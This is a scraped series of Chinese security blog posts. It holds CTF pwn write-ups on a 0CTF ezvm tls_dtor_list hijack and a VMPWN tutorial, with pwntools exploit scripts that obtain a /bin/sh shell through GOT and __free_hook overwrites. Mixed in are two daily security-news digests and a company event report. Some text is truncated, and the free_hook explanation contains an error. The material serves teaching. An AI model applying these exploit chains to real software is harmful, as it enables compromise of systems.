void__call_tls_dtors (void){ while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func;#ifdef PTR_DEMANGLE PTR_DEMANGLE (func);#endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. Th 如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下 # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) 纯汇编如下 0x7ffff7e21428 <__call_tls_dtors+40> ror rax, 0x11 0x7ffff7e2142c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30] 0x7ffff7e21435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7e21439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] 0x7ffff7e2143d <__call_tls_dtors+61> call rax 与之相对的是PTR_MANGLE(var) # define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。 fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下 typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; int gscope_flag; /* Bit 0: X86_FEATU stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式 pwndbg> canary canary : 0xed8519fd5f3d4700pwndbg> search -p 0xed8519fd5f3d4700 0x7ffff7fca568 0xed8519fd5f3d4700pwndbg> x /20xg 0x7ffff7fca568-0x280x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae900x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000 回到函数中来,解密了func之后,会执行 func (cur->obj); 而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值 pwndbg> p tls_dtor_list Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:Cannot find thread-local variables on this target 但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找 查看while (tls_dtor_list)处的汇编,如下 0x7ffff7e2140a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1a094f] ► 0x7ffff7e21411 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] 0x7ffff7e21415 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7e21418 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93> 将fs:[rbx]处的值赋给rbp,然后检查rbp是否为0 此时RBP的值为 RBX 0xffffffffffffffa8 补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。 整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。 按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。 利用脚本 from pwn import *context.log_level='debug'io=process('./ezvm')libc=ELF('./libc-2.35.so')io.recvuntil('Welcome to 0ctf2022!!\n')io.sendline('lock')io.recvuntil('size:\n')io.sendline('38')io.recvuntil('memory count:\n')io.sendline('256')code=p8(0x17)+p8(0xff)*36io.recvuntil('code:\n')io.sendline(code)
网络安全日报 2023年07月28日
1、Zimbra 修复了ZCS 中被利用的零日漏洞 CVE-2023-38750 https://securityaffairs.com/148880/security/zimbra-fixed-2023-38750-zcs.html Zimbra 解决了针对 Zimbra Collaboration Suite (ZCS) 电子邮件服务器的攻击中利用的零日漏洞。 2、DepositFiles 暴露配置文件,危及用户安全 https://securityaffairs.com/148875/data-breach/depositfiles-exposed-config-file.html DepositFiles 是一种流行的网络托管服务,它的环境配置文件可供访问,从而泄露了大量高度敏感的凭据。 3、Ubuntu 中的两个提权漏洞影响 40% 的 Ubuntu 用户 https://securityaffairs.com/148856/hacking/linux-ubuntu-flaws.html Wiz 研究人员在 Ubuntu 内核中发现了两个 Linux 漏洞,这些漏洞可以让非特权本地用户获得提升的权限。编号为 CVE-2023-2640 和 CVE-2023-32629 4、黑客瞄准 Tomcat 服务器部署 Mirai 僵尸网络和挖矿 https://thehackernews.com/2023/07/hackers-target-apache-tomcat-servers.html 配置错误且安全性较差的 Apache Tomcat 服务器成为旨在传播Mirai 僵尸网络恶意软件和加密货币矿工的新活动的一部分。 5、研究人员发现名为“Nitrogen”的恶意广告攻击活动 https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen 研究人员发现了一个攻击活动,该活动利用恶意广告和仿冒合法应用软件的钓鱼网站传播恶意软件。根据样本中发现的组件和调试信息,研究人员将此次攻击活动命名为“Nitrogen”。攻击者滥用谷歌和必应广告,引诱用户访问假冒流行软件下载站的钓鱼页面,诱导用户下载相应的ISO安装程序。该安装程序会侧加载恶意的NitrogenInstaller DLL文件,P并执行恶意的NitrogenStager文件,该文件连接到攻击者的C2服务器,将Meterpeter shell和 6、攻击者针对开发人员传播恶意的Visual Studio安装程序 https://blog.cyble.com/2023/07/25/threat-actor-targeting-developers-via-trojanized-ms-visual-studio 研究人员最近发现了一个伪装成Microsoft Visual Studio的安装程序,当用户执行该安装程序后,将会安装一个正常的Visual Studio软件,并执行一个窃密木马程序。该窃密木马程序将会获取各种系统信息,包括计算机名称、用户名、处理器版本、操作系统版本、平台以及IP地址。提取系统信息后,该窃密木马从浏览器中窃取信息,将窃取的信息打包成一个zip文件,并通过Telegram将zip 7、新型恶意软件DecoyDog正大规模入侵DNS https://www.freebuf.com/news/373187.html 安全厂商 Infoblox 的调查研究显示,一个名为 DecoyDog(诱饵狗)的复杂恶意工具包通过域名系统(DNS),从事网络间谍活动已达1年以上。 8、恶意软件已渗透商业环境,超40万个企业凭证被窃取 https://www.bleepingcomputer.com/news/security/over-400-000-corporate-credentials-stolen-by-info-stealing-malware/ 在对暗网和 Telegram 渠道上出售的近 2000 万条泄密数据日志进行分析后,发现信息窃取恶意软件已实现了对商业环境的严重渗透。 9、ALPHV 勒索软件在新的勒索策略中添加了数据泄漏 API https://www.bleepingcomputer.com/news/security/alphv-ransomware-adds-data-leak-api-in-new-extortion-strategy/ ALPHV 勒索软件团伙(也称为 BlackCat)正试图通过为其泄漏站点提供 API 来提高其攻击的可见性,从而向受害者施加更大的压力,要求他们支付赎金。 10、新的恶意人工智能工具“FraudGPT”出现,专为复杂攻击量身定制 https://thehackernews.com/2023/07/new-ai-tool-fraudgpt-emerges-tailored.html 跟随 WormGPT 的脚步,威胁行为者正在各种暗网市场和 Telegram 渠道上宣传另一种名为 FraudGPT 的网络犯罪生成人工智能 (AI) 工具。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技受邀出席2023网络安全技术创新与人才教育高峰论坛
7月24日,2023网络安全技术创新与人才教育高峰论坛在长沙举行。中国工程院院士方滨兴、张宏科,教育部科学技术与信息化司司长雷朝滋,中共湖南省委网信办副主任郭天保,湖南湘江新区(长沙高新区)党工委副书记、岳麓区委副书记周凡等领导出席大会并致辞。 本次大会由中国网络空间安全人才教育论坛、中国网络空间新兴技术安全创新论坛、国务院学位办网络空间安全学科评议组联合主办。聚焦网络空间安全面临的新技术挑战和人才缺乏现状,探讨建立网络空间安全产业发展生态与新技术创新联盟,分享网络安全人才培养创新模式与经验。来自全国各地600+网络安全领域知名专家、企业家、业界人士云集长沙,同谋网络安全技术创新与人才教育美好蓝图。湖南蚁景科技有限公司受邀出席本次大会。 大会主席方滨兴院士在讲话中提到要建设网络强国,需要从科技强国、教育强国、人才强国三方面着手,不断去研发新技术、创新教育思路、打通人才各方生态,为国家网络强国贡献核心力量,希望能够通过本次会议多方向、多议题的分享,碰撞出新的火花和思路。 会上,《网络空间安全工程技术人才培养体系指南4.0》正式发布,该指南结合我国实情指出我国网络安全人才培养框架,并就框架中网安人才层次化培养体系、知识技能、认证体系进行详细阐述,完善我国网安人才培养标准,成为高校授课、网安培训、人才认证、岗位招聘的有力支撑。本次发布版本主要针对移动与无线安全、物联网安全、网络关键基础设施安全、密码学应用进行详细扩展。  蚁景科技荣获大会颁发的“众测白帽子”荣誉证书 为了培养具有网络攻防实战演练能力的优秀人才,网教盟联合方班和鹏城实验室,组织多家高校企业单位积极参与,通过鹏城靶场平台,以“外打外”的方式,选手远程接入靶场,对国家重大活动的运行系统在会前进行攻防测试。蚁景科技组织内部网安工程师及培养的优秀学员积极参与其中,在历次众测活动中取得了优异成绩,发挥了特色学科服务社会和引领辐射的作用,为活动做出实质贡献,受到本次大会的表彰。 蚁景科技总经理彭坤还出席了本次大会的“网络安全人才培养与认证分论坛”,会上方班网安人才教育服务中心与蚁景科技、奇安信、麒麟软件等多家网络安全人才培训单位签署了“网安人才教育培训合作伙伴”协议,联合成为推广“方班”特色教学模式的先头军,为探索创新型网络空间安全人才培养模式发挥作用。 另外,在题为“如何破除网安人才培养难、鉴别难的困局”的圆桌论坛上,蚁景科技总经理彭坤发表了讲话,分享了蚁景科技在网络安全人才培养方面的思路和“学-练-赛”一体的创新培养模式。 新一轮科技革命和产业变革加速演进,对网络安全工作提出新要求。本届大会融合行业政策深度解读、技术专家经验分享、合作项目签约以及各专项活动的开启,为网络安全行业的高质量发展带来新理念、提供新动能、注入新动力。 未来,蚁景科技将继续与业界一道在网络强国战略的引领下,用创新思路和务实举措为网络安全人才培养贡献力量。
网络安全日报 2023年07月27日
1、研究人员发现针对macOS的新型窃密木马Realst https://www.sentinelone.com/blog/apple-crimeware-massive-rust-infostealer-campaign-aiming-for-macos-sonoma-ahead-of-public-release 研究人员发现一种针对macOS的新型窃密木马,该窃密木马使用Rust语言进行编写,被称为“Realst”。该窃密木马通过恶意网站中的虚假游戏广告进行传播,以PKG安装程序或DMG文件的形式,其中包含恶意的Mach-O文件。研究人员对16种Realst变种分析后发现它们在形式和功能上非常相似,都针对Firefox、Chrome、Oper 2、研究人员发现Spyhide安卓恶意软件从数万部手机中窃取信息 https://maia.crimew.gay/posts/fuckstalkerware-2 Spyhide是一种间谍软件,通常由知道受害者密码的人植入受害者的手机上。该应用程序被设计为隐藏在受害者手机的主屏幕上,使其难以被检测和删除。一旦植入,Spyhide就会默默地不断上传手机的联系人、信息、照片、通话记录和录音,以及实时的精确位置。研究人员通过利用该软件后台仪表板中的漏洞,获得了对后端数据库的访问权限,并从中发现大约60000台安卓设备的详细记录,数据包括329万条包含个人信息的短信,120多万份通话记录和约31.2万份通话记录文件,925000多个包含姓名和电话号码的联系人列表,3 3、超90万台MikroTik路由器存在权限提升漏洞 https://www.bleepingcomputer.com/news/security/super-admin-elevation-bug-puts-900-000-mikrotik-devices-at-risk 超过90万台MikroTik路由器中存在权限提升漏洞,该漏洞被标记为CVE-2023-30799,允许拥有现有管理员帐户的远程攻击者通过设备的Winbox或HTTP接口将其权限提升为“超级管理员”。由于MikroTik RouterOS带有一个默认的“admin”账户,因此攻击者能够使用管理员账户利用该漏洞。研究人员使用Shodan来确定该漏洞的影响,发现47.4万台设备基 4、黑客声称窃取埃及卫生部的医疗记录 https://www.infosecurity-magazine.com/news/hacker-stolen-medical-records/ 攻击者在黑客论坛中称从埃及卫生和人口部窃取200万份数据记录,该数据库中包含全面的个人患者信息,包括姓名、身份证、电话号码、地址、分类细节、诊断和治疗细节。该攻击者在论坛中提供了一个数据集样本以证实其说法,其中含有1000人的数据。研究人员称,该攻击者在前段时间曾在论坛中售卖与印度尼西亚相关的数据。 5、FraudGPT:一种新的恶意生成人工智能工具出现在地下论坛 https://securityaffairs.com/148829/cyber-crime/fraudgpt-cybercrime-generative-ai.html Netenrich 研究人员最近发现了一个名为 FraudGPT 的新平台,自 2023 年 7 月 22 日以来,该平台在多个市场和 Telegram 频道上进行广告宣传。 据 Netenrich 称,这种生成式 AI 机器人经过训练用于攻击性目的,例如创建鱼叉式网络钓鱼电子邮件、进行BEC攻击、破解工具和梳理。 6、Wiz 表示 62% 的 AWS 环境受到 AMD Zenbleed 漏洞影响 https://www.securityweek.com/wiz-says-62-of-aws-environments-exposed-to-zenbleed-exploitation/ 云安全初创公司 Wiz 的研究人员报告称,高达 62% 的 AWS 环境可能会受到AMD Zen 2 处理器中新记录的Zenbleed信息泄露漏洞的影响。 7、Microsoft 消息队列漏洞允许远程执行代码、DoS 攻击 https://www.securityweek.com/microsoft-message-queuing-vulnerabilities-allow-remote-code-execution-dos-attacks/ 网络安全公司 Fortinet 发布了最近在 Microsoft 消息队列 (MSMQ) 服务中修补的三个严重和高严重性漏洞的详细信息。其中两个缺陷(编号为 CVE-2023-21554 和 CVE-2023-28302)可能导致远程代码执行 (RCE) 和拒绝服务 (DoS),微软已通过 2023 年 4 月的补丁星期二更新解决了这一问题。没有为第三个问题提供 CVE 8、“共享屏幕”成新型电信诈骗,不法分子可查看手机桌面全部内容 https://www.ithome.com/0/708/055.htm 央视报道当前“共享屏幕”已成为一种新型电信网络诈骗形式,不法分子会利用该功能实时观察事主手机屏幕内容,乃至窃取账号密码等关键信息 9、IBM:2023 年行业数据泄露成本再创新高,达到 445 万美元 https://www.helpnetsecurity.com/2023/07/24/ibm-cost-data-breach-report-2023/ 据 IBM 旗下安全部门最新发布的《2023 年数据泄露报告》显示,2023 年全球数据泄露的平均成本达到 445 万美元,创下历史新高。 10、Lazarus 黑客劫持微软 IIS 服务器传播恶意软件 https://www.bleepingcomputer.com/news/security/lazarus-hackers-hijack-microsoft-iis-servers-to-spread-malware/ Lazarus 黑客组织正在破坏 Windows Internet Information Service(IIS)网络服务器,劫持它们进行恶意软件分发。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
VMPWN的入门级别题目详解(一)
实验一 VMPWN1 题目简介 这是一道基础的VM相关题目,VMPWN的入门级别题目。前面提到VMPWN一般都是接收字节码然后对字节码进行解析,但是这道题目不接受字节码,它接收字节码的更高一级语言:汇编。程序直接接收类似”mov”、”add”之类的指令,可以把这道题目看作是一个执行汇编语言的处理器,相比于解析字节码的VM,逆向难度要大大减小。非常适合入门。 题目保护检查 只有Partial RELRO保护,这意味着可以修改程序的重定位表;没有开启PIE保护,那么程序每次加载到内存中的地址都不会发生变化。 漏洞分析 拖进IDA分析流程 程序模拟了一个虚拟机,v5,v6,v7分别是stack段,text段和data段。看到alloc_mem这个函数 Malloc一块小内存ptr,然后参数a1是要分配的内存的大小,一个单位是8字节。根据伪代码中对ptr的赋值可以构造出一个结构体,如下 struct seg_chunk {  char *seg;  int size;  int nop; }; 再看到alloc_mem函数会直观很多 但是这样依然有一些难以理解,我们使用GDB打开程序进行调试,看到如下图所示 存在多个0x20大小的小堆块,堆块中的开头8字节指向下方的大堆块,第8到第12字节则是大堆块的大小的单位数量,比如0x400=0x80*0x8,单位长度为8字节,后面的0xffffffff暂时不知道作用,可能只适用于占位。因此根据gdb的显示结果,我们重新创建一个结构体,如下 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int unknow; }; 继续看到main函数, 接着会让用户输入程序名 分配好各个段之后,然后让我们输入指令,先写到一个0x400的缓冲区中 然后再写到text段中,store_opcode函数如下 函数接受两个参数,a1为text段的指针,a2为缓冲区的指针,strtok函数原型如下: char *strtok(char *str, const char *delim) str -- 要被分解成一组小字符串的字符串。 delim -- 包含分隔符的 C 字符串。 该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。 程序中的delim为\n\r\t,strtok(a2, delim)就是以\n\r\t分割a2中的字符串 由下面的if-else语句我们可以知道程序实现了push,pop,add,sub,mul,div,load,save这几个功能,每个功能都对应着一个opcode,将每一个opcode存储到函数中分配的一个临时data段中(函数执行完后这个chunk就会被free掉) sub_40144E函数如下: 这个函数是用来将函数中的临时text段的指令转移到程序中的text段的,每八个字节存储一个opcode,每存储一个指令,就会对unknow进行加1的操作。我们将这个函数重名为set_value。 需要注意的是,这里存储opcode的顺序和我们输入指令的顺序是相反的(不过也没啥需要注意的,反正程序是按照我们输入的指令顺序来执行的)。 write_stack函数如下: 和store_opcode函数相比就是去掉了存储opcode的环节,将我们输入的数据存储在stack段中。 我们再看到execute函数 一个很大switch选择语句,看到sub_4014B4函数 将a1中seg内的值给到a2,unknow每次都会减一,而a1是text段的指针,所以这个函数就是从text段中取指令,将其重命名为take_value。 对于set_value函数而言,每次会将unknow加1,而对于take_value而言,每次会将unknow减1,因此我们在这里可以猜测unknow是当前的数据的数量,因此重新定义结构体 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int num_now; }; 看到case0x11对应的函数sub_401AAC 调用了take_value函数和sub_40144E函数,sub_40144E如下 将a2放入a1的seg中,和take_value的操作相反,所以我们将其命名为set_value。整体看来就是这样子的,如下图所示 从stack中取值,然后将值存入data中,所以这里的操作我们可以理解为pop,因此我们将sub_401AAC重命名为pop。 再看到sub_401AF8函数 从data中取出两个值,然后将这两个值相加存入data中,所以我们将其重命名为add。 看到sub_401BA5函数 很明显就是减法 再看sub_401C06函数 这个函数是乘法 再看sub_401C68函数 这个函数是除法 再看到sub_401CCE函数 稍微复杂了一点点,从data中取出一个值,然后以这个值为索引,从data中取值,将取出来的值载data中。我们将这个函数命名为load。 最后看到sub_401D37函数 这里取出两个值a2和v4,以a2为索引,将v4存入a2索引找到的内存中。将其命名为save。 至此,所有的操作都已经分析完毕,那么程序的漏洞在哪? 注意看到load和save功能 索引v3是从data段中取出来的,而data段的值是由用户输入的 通过push和pop以及加减乘除等操作可以控制data段中的数据,而在load中以data段中的数据为索引时又没有对其进行限制,所以这里存在一个越界读的漏洞,即我们只需要设置好data段中的数据,在使用load功能时就可以将不属于data段中的数据读取到data段中。 除了load中的越界读漏洞,在save操作中也存在漏洞 Save功能中从data段中取出两个值,然后将其中一个值作为data段的索引,从中取出一个值addr,将从data段中取出的另一个值存入addr指向的内存当中。这里没有对这两个值进行判断,也没有对addr进行任何判断,所以我们可以将任意值写入任意地址中,这里就存在一个越界写漏洞。 所以这个程序一共存在两个漏洞:越界读和越界写漏洞。 静态分析完毕,开始动态分析 存在越界读写的漏洞,该怎么利用? 由于程序没有开启FULL RELRO,所以我们可以复写got表,got中会存放有已经运行过的函数的加载地址,修改某个函数的got表的值就能够修改这个函数最终调用的函数地址。在这个程序中有如下函数 在这里我们选择将puts的got表中的值修改system函数的地址,为什么? 在程序的一开始让我们输入了一个程序名,然后execute运行结束后,会调用puts函数输出程序名,当我们将puts函数的got表的值修改为system函数的地址后,puts(s)就变成了system(s),而如果我们输入的s的内容为/bin/sh,那么最终就会调用system(“/bin/sh”)。 注意到heap区上方 Heap区上方就是程序的text段,text段中存有got表,有大量的libc的地址 而程序本身没有输出功能,所以我们需要利用程序提供的功能进行写入加减运算。load和save功能都是在data段进行的,而且存在越界,它们的的参数都是data结构体的指针。 而对data段进行操作都是通过存储在data结构体中的data段指针进行操作的,只要我们修改了这个指针,data段的位置也会随之改变,所以我们可以利用save的越界写漏洞,将data段指针修改到0x404000附近(也可以直接在data段进行越界读写,毕竟越界读写的范围也没有限定,不过这样计算起来会比较麻烦)。 我们将data段指针改写为stderr下方的一段无内容处,即0x4040d0。 这个操作对应的payload为 push push save 0x4040d0 -3 调试看看 我们将断点下载push处,如下图所示 也就是地址0x00000000004019C7处 push之前 push之后 0x4040d0被push到了data段开始处,接着将-3也push到data段 然后利用save功能的越界写,将0x4040d0写入到data[-3]处 执行完这一段指令之后,data段的指针就被修改到了0x4040d0。 之后我们对data段的操作就都是以0x4040d0为基地址来操作的,我们将上方的stderr的地址(或者别的地址)load到data段,然后计算出在libc中stderr和system的相对偏移,push到data段,然后将stderr和偏移相加就能得出system的地址,接着再利用save功能,将system写入puts@got(在0x404020处)即可。 利用脚本 from pwn import * context.binary = './ciscn_2019_qual_virtual' context.log_level = 'debug' io = process('./ciscn_2019_qual_virtual') elf = ELF('ciscn_2019_qual_virtual') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io.recvuntil('name:\n') io.sendline('/bin/sh') data_addr = 0x4040d0 offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_'] opcode = 'push push save push load push add push save' data = [data_addr, -3, -1, offset, -21] payload = '' for i in data:    payload += str(i)+' ' io.recvuntil('instruction:\n') io.sendline(opcode) #gdb.attach(io,'b *0x401cce') io.recvuntil('data:\n') io.sendline(payload) io.interactive() 实验二 VMPWN2 实验简介 这道题难度要比前一道题稍微大一些,前一道题的输入为汇编形式的指令,而这一道题是很经典的一个VM,接收字节码,处理字节码,前一道题以接收汇编形式的指令,对于我们的逆向起到了很大的帮助,因为正常的VM逆向就是需要我们对字节码进行逆向将其还原为汇编形式的指令;所以这道题才是真正的VMPWN入门题。 题目保护检查 相比于前一题,保护开启增多,只有canary保护未开启。 漏洞分析 首先让我们输入PC和SP PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。 SP 指针寄存器,永远指向当前的栈顶。 然后让我们输入codesize,最大为0x10000字节接着依次输入code if语句是用来限制code的值的,将其中高8位为0xFF的整数的值修改为0xE0000000,然后存储到数组memory中。 接着进入where循环,fetch函数如下 这里使用到了reg[15],存储着PC的值,我们看一看这个程序使用的一些数据 每次将PC的值增加1,依次读取memory中的code 再看到execute函数 由于execute函数较长,所以我们不一次性放出,分段进行分析 Execute的参数是一个4字节的opcode v4 = (code & 0xF0000u) >> 16将会取第三个字节的数值。 v3 = (unsigned __int16)(code & 0xF00) >> 8将会取第二个字节的数值,并且这个数只是1位16进制数。 v2 = code & 0xF将会取最末尾一字节。 result = HIBYTE(code),将code的最高一字节给result,最高一字节用于指定对应的操作码。如果最高字节为0x70,那么执行加法操作,reg[v4] = reg[v2] + reg[v3]。 继续往下看 总结如下: 操作码为0x10,将一个1字节的常量存入reg[v4]; 操作码为0x20,判断code的最低字节是否为0,并将reg[v4]设置为结果; 操作码为0x30,以reg[v2]为索引,将memory[reg[v2]送入reg[v4]; 操作码为0x40,将reg[v4]送入memory[reg[v2]; 操作码为0x50,执行push操作,将reg[v4]压入栈中,reg[13]是可以理解为rsp寄存器; 操作码为0x60,执行pop操作,将栈顶的值弹出到reg[v4]中; 操作码为0x70,执行加法操作,reg[v4] = reg[v2] + reg[v3]; 操作码为0x80,执行减法操作,reg[v4] = reg[v3] - reg[v2]; 操作码为0x90,执行按位与操作,reg[v4] = reg[v2] & reg[v3]; 操作码为0xa0,执行按位或操作,reg[v4] = reg[v2] | reg[v3]; 操作码为0xb0,执行异或操作,reg[v4] = reg[v2] ^ reg[v3]; 操作码为0xc0,执行左移操作,reg[v4] = reg[v3] << reg[v2]; 操作码为0xd0,执行右移操作,reg[v4] = (int)reg[v3] >> reg[v2]; 操作码为0xe0,如果栈中已经没有值了,那就退出,在退出的时候会打印出所有寄存器的值。 以上就是这个VM实现的所有操作,可以看出基本实现了CPU的基本功能。 程序逻辑理清楚了,该思考怎么利用了。 操作码为0x30和0x40时,分别实现了load和save功能,在将内存中的值读入寄存器中时以及将寄存器中的值写入内存中是并未对边界以及要读取或写入的值有所限制,因此在这里依然存在越界读和越界写漏洞。 这道题开启了FULL RELRO保护,这样一来got表就不可写了,我们就不能够通过上一题的方式修改got表来劫持函数。 在程序的结尾调用了sendcomment函数,函数实现如下 调用free函数将comment这个堆块释放掉。 在这里我们需要提及到free_hook这个钩子函数 什么是free_hook? 在GNU C库(glibc)中,free_hook是一个全局变量,用于实现动态内存分配和释放的钩子函数。当程序使用malloc()、calloc()、realloc()等函数进行内存分配时,会调用free_hook函数来进行内存释放的操作。 通过定义自己的free_hook函数,可以在内存分配和释放时进行额外的处理操作,例如记录内存分配和释放的情况、检测内存泄漏等。 在glibc中,可以通过设置free_hook变量来实现自定义的内存释放操作。例如,可以使用以下代码来设置free_hook变量: void my_free_hook(void *ptr, const void *caller) {    printf("Freeing memory at %p, called by %p\n", ptr, caller);    __free_hook = old_free_hook;    free(ptr);    __free_hook = my_free_hook; } void *old_free_hook = NULL; int main() {    old_free_hook = __free_hook;    __free_hook = my_free_hook;    __free_hook = old_free_hook;    return 0; 在这段代码中,定义了一个自定义的my_free_hook函数来实现内存释放的操作。在main()函数中,先保存原来的free_hook变量,然后设置自定义的my_free_hook函数为新的free_hook变量。在程序运行时,即可使用自定义的my_free_hook函数来进行内存释放的操作。 需要注意的是,自定义的free_hook函数必须遵守内存分配和释放的规范,正确地分配和释放内存,避免内存泄漏和内存溢出等问题。 也就是说,在调用free函数之后,首先会检查free_hook是否被设置了钩子函数,如果free_hook被设置了钩子函数,那么首先会调用钩子函数,然后才会调用真正的free函数,而这个钩子函数的参数,和free函数的参数是一样的,也就是要释放的堆块的指针。 如果我们将free_hook设置为system函数的地址,将要释放的堆块的开头设置为/bin/sh,那么在调用free的时候就会先调用system(“/bin/sh”)。 首先我们需要泄露libc地址,bss段上方一段距离就是got表,我们通过越界读将got表中的libc地址读取到寄存器中,这里需要注意的是,由于寄存器是双字,也就是四字节的,而地址是八字节的,所以我们需要两个寄存器才能存储一个地址。 got表中最后一个是stderr,不过我们不选它来泄露,因为stderr地址的最后两位是00。 在这里我们选择stdin来泄露,因为后续我们需要通过stdin的地址来计算得到__free_hook-8,因此尽量选择与free_hook地址相差较小的来泄露,能够减小计算量。 有了泄露目标之后,就该来计算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址为0x201f80,memory也是双字类型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。 该如何构造出-56,可以通过在内存中负数的存储方式来构造,0xffffffc8在内存中就表示-56,通过-56读取stdin地址的后四字节,通过-55读取前四个字节。如何得到0xffffffc8,可以通过ff左移位和加法运算得到,构造步骤如下: setnum(0,8), #reg[0]=8 setnum(1,0xff), #reg[1]=0xff setnum(2,0xff), #reg[2]=0xff left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff) left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff) setnum(1,0xc8), #reg[1]=0xc8 left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56) 调试看看 我们首先将reg[0]设置为8,用于移位操作,将reg[1]设置为0xff,用于后续加法操作,将reg[2]也设置为0xff,用于移位操作 然后在左移操作下断点 左移之后,reg[2]变成了0xff00.继续 此时reg[2]已变成了0xffffff00,只需要再加上0xc8就能够构造出-56 然后我们读取stdin的地址,存入两个寄存器中 read(3,2), #reg[3]=memory[reg[2]]=memory[-56]setnum(1,1), #reg[1]=1add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55read(4,2), #reg[4]=memory[reg[2]]=memory[-55] 这里为什么要用两个寄存器,是因为每个寄存器的长度只有4字节,而libc地址的长度为8字节,所以需要用两个寄存器才能存储一个完整的libc地址 在越界读的位置处下断点 stdin的libc地址的末尾4字节已经被读取到reg[3]中,再来一次越界读 此时前4字节也被读取到了reg[4]中。 有了stdin地址之后,我们计算出stdin和free_hook-8的偏移,通过add将偏移加到存储stdin地址的寄存器之上,再写入comment[0]即可,comment[0]与memory的相对索引是-8. -8是怎么算出来的 comment的地址是0x56336d3dd040,而memory的地址是0x56336d3dd060,(0x56336d3dd060-0x56336d3dd040)/4=8,而由于comment在memory的上方,所以索引应该为-8. setnum(1,0x10), #reg[1]=0x10 left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000 setnum(0,0x90), #reg[0]=0x90 add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090 add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节 setnum(1,47), #reg[1]=47 add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8 write(3,2), #memory[reg[2]]=memory[-8]=reg[3] setnum(1,1), #reg[1]=1 add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7 write(4,2), #memory[reg[2]]=memory[-7]=reg[4] 